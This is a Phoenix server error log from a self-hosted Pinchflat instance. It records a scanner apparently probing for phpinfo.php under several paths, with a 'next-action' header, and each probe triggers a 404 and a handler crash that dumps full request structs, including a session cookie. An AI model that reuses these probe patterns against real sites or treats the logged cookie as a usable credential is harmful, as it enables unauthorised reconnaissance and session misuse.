{Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/develop/phpinfo.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 63, host_info: :undefined (truncated) 17:14:34.634 [info] GET /api/phpinfo.php 17:14:34.634 [debug] QUERY OK source="settings" db=0.1ms idle=700.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:34.634 [debug] QUERY OK source="settings" db=0.0ms idle=545.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:34.634 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:34.635 [error] #PID<0.11831.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 64) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /api/phpinfo.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/phpinfo.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 64, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11831.0>, params: %{}, path_info: ["api", "phpinfo"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/api/phpinfo.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsXPM4fG3ySgIABV0B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/phpinfo.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 64, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/phpinfo.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 64, host_info: :undefined }}, assigns: (truncated) 17:14:34.907 [info] GET /backend/phpinfo.php 17:14:34.908 [debug] QUERY OK source="settings" db=0.1ms idle=818.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:34.908 [debug] QUERY OK source="settings" db=0.0ms idle=546.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:34.908 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:34.908 [error] #PID<0.11832.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 65) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /backend/phpinfo.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /backend/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/backend/phpinfo.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 65, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11832.0>, params: %{}, path_info: ["backend", "phpinfo"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/backend/phpinfo.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsXQOGTr17iQsABV2B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/backend/phpinfo.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 65, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /backend/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/backend/phpinfo.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 65, host_info: :undefined (truncated) 17:14:35.179 [info] GET /server/phpinfo.php 17:14:35.180 [debug] QUERY OK source="settings" db=0.1ms idle=545.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:35.180 [debug] QUERY OK source="settings" db=0.0ms idle=545.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:35.180 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:35.180 [error] #PID<0.11833.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 66) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /server/phpinfo.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /server/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server/phpinfo.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 66, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11833.0>, params: %{}, path_info: ["server", "phpinfo"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/server/phpinfo.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsXRO-jMG8GOcABV4B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server/phpinfo.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 66, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /server/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server/phpinfo.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 66, host_info: :undefined (truncated) 17:14:35.452 [info] GET /current/phpinfo.php 17:14:35.452 [debug] QUERY OK source="settings" db=0.1ms idle=544.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:35.453 [debug] QUERY OK source="settings" db=0.1ms idle=544.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:35.453 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:35.453 [error] #PID<0.11834.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 67) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /current/phpinfo.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /current/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/current/phpinfo.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 67, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11834.0>, params: %{}, 